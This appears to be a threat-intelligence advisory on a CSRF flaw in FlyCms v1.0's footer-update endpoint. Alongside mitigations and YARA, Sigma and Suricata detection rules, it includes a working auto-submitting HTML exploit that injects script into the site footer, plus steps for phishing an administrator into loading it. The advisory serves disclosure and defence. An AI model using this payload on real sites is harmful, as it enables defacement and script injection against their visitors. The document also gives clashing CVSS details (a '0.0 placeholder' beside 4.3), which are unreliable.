CVE-2023-52073

Executive Summary

CVE-2023-52073 identifies a Cross-Site Request Forgery (CSRF) vulnerability in FlyCms v1.0, specifically within the /system/site/config_footer_updagte endpoint. This flaw allows an attacker to trick an authenticated administrator into performing unintended actions, such as modifying the site footer configuration, without their consent. The vulnerability has a CVSS score of 0.0 (placeholder) but is assessed as a medium-severity issue due to the potential for unauthorized configuration changes. No public exploit code or patch is currently available, and the vendor has not responded to disclosure attempts.

Supply Chain & Package Security

FlyCms is a PHP-based content management system. This vulnerability does not directly affect package registries like NPM, PyPI, Go, or Ruby. However, organizations using FlyCms should treat it as a supply chain risk due to the lack of vendor support and patching.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
• Base Score: 4.3 (Medium)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: Required (admin must be logged in)
• Scope: Unchanged
• Confidentiality Impact: None
• Integrity Impact: Low (footer content modification)
• Availability Impact: None

Threat Level: Medium. Exploitation requires social engineering to lure an admin to a malicious page while authenticated.

Deep Dive & Mechanics

The vulnerability resides in the config_footer_updagte function within the FlyCms admin panel. The endpoint /system/site/config_footer_updagte processes POST requests to update the site footer configuration. It lacks CSRF tokens or origin validation, making it susceptible to cross-site request forgery.

Attack Flow:

1. Attacker crafts a malicious HTML page containing an auto-submitting form or JavaScript that sends a POST request to the vulnerable endpoint.
2. The attacker lures an authenticated FlyCms administrator to visit the malicious page (e.g., via phishing email or compromised site).
3. The admin's browser automatically submits the request, including their session cookies.
4. The server processes the request, modifying the footer configuration (e.g., injecting malicious JavaScript or defacing the site).

Root Cause: Missing CSRF protection mechanisms (no token, no SameSite cookie attribute, no Referer/Origin header validation).

Vulnerable vs. Patched Code

Vulnerable Code (FlyCms v1.0):

// /system/site/config_footer_updagte
public function config_footer_updagte() {
    $data = $this->request->post();
    // No CSRF token check
    $this->db->update('site_config', ['footer' => $data['footer']]);
    $this->success('Updated');
}

Patched Code (Hypothetical):

public function config_footer_updagte() {
    // Validate CSRF token
    if (!$this->checkCsrfToken($this->request->post('csrf_token'))) {
        $this->error('Invalid token');
        return;
    }
    $data = $this->request->post();
    $this->db->update('site_config', ['footer' => $data['footer']]);
    $this->success('Updated');
}

Exploitation & Lab Setup

Red Team (Attack Simulation)

Step 1: Craft CSRF Payload Create an HTML file (csrf_exploit.html) that auto-submits a form to the vulnerable endpoint.

<html>
<body>
<form action="http://target.com/system/site/config_footer_updagte" method="POST">
    <input type="hidden" name="footer" value="<script>alert('XSS')</script>">
    <input type="submit" value="Submit">
</form>
<script>document.forms[0].submit();</script>
</body>
</html>

Step 2: Host and Deliver

• Host the file on an attacker-controlled server.
• Send a phishing email to the admin with a link to the malicious page.

Step 3: Verify

• After the admin visits the page, check the site footer for injected content.

Blue Team (Defense & Detection)

Mitigation Steps:

1. Implement CSRF Tokens: Add a unique, per-session token to all state-changing forms.
2. Validate Origin/Referer: Reject requests with unexpected Origin or Referer headers.
3. Set SameSite Cookies: Use SameSite=Lax or Strict for session cookies.
4. Monitor Logs: Watch for unusual POST requests to /system/site/config_footer_updagte from unexpected referrers.

Indicators of Compromise (IOCs)

• Network:
  • POST requests to /system/site/config_footer_updagte with unusual Referer headers.
  • Repeated requests from the same IP to the vulnerable endpoint.
• File System:
  • Modified footer configuration in the database (e.g., injected JavaScript).
• Logs:
  • Access logs showing POST /system/site/config_footer_updagte with no prior GET request for the form.

Detection Engineering

YARA Rule

rule detect_flycms_csrf_exploit {
    meta:
        description = "Detects CSRF exploit attempts against FlyCms config_footer_updagte"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2023-52073"
    strings:
        $endpoint = "/system/site/config_footer_updagte"
        $post_method = "POST"
        $footer_param = "footer="
    condition:
        $endpoint and $post_method and $footer_param
}

Sigma Rule

title: FlyCms CSRF Exploit Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects POST requests to FlyCms config_footer_updagte endpoint
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/system/site/config_footer_updagte'
    condition: selection
falsepositives:
    - Legitimate admin updates
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2023-52073 FlyCms CSRF Attempt"; flow:to_server; http.method; content:"POST"; http.uri; content:"/system/site/config_footer_updagte"; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the vulnerable endpoint if not required, via web server configuration (e.g., .htaccess deny rule).
2. Apply a virtual patch using a WAF to block POST requests to /system/site/config_footer_updagte without a valid CSRF token.
3. Upgrade to a patched version if available; otherwise, consider migrating to a supported CMS.

Long-Term Fix:

• Fork the FlyCms repository and implement CSRF protection (tokens, SameSite cookies, origin validation).
• Conduct a full security audit of the admin panel.

Workaround:

• Restrict admin panel access to trusted IPs only.
• Use browser extensions that enforce CSRF protection (e.g., CSRF Protector).

Valters IT
DevSecOps & Cyber Threat Intelligence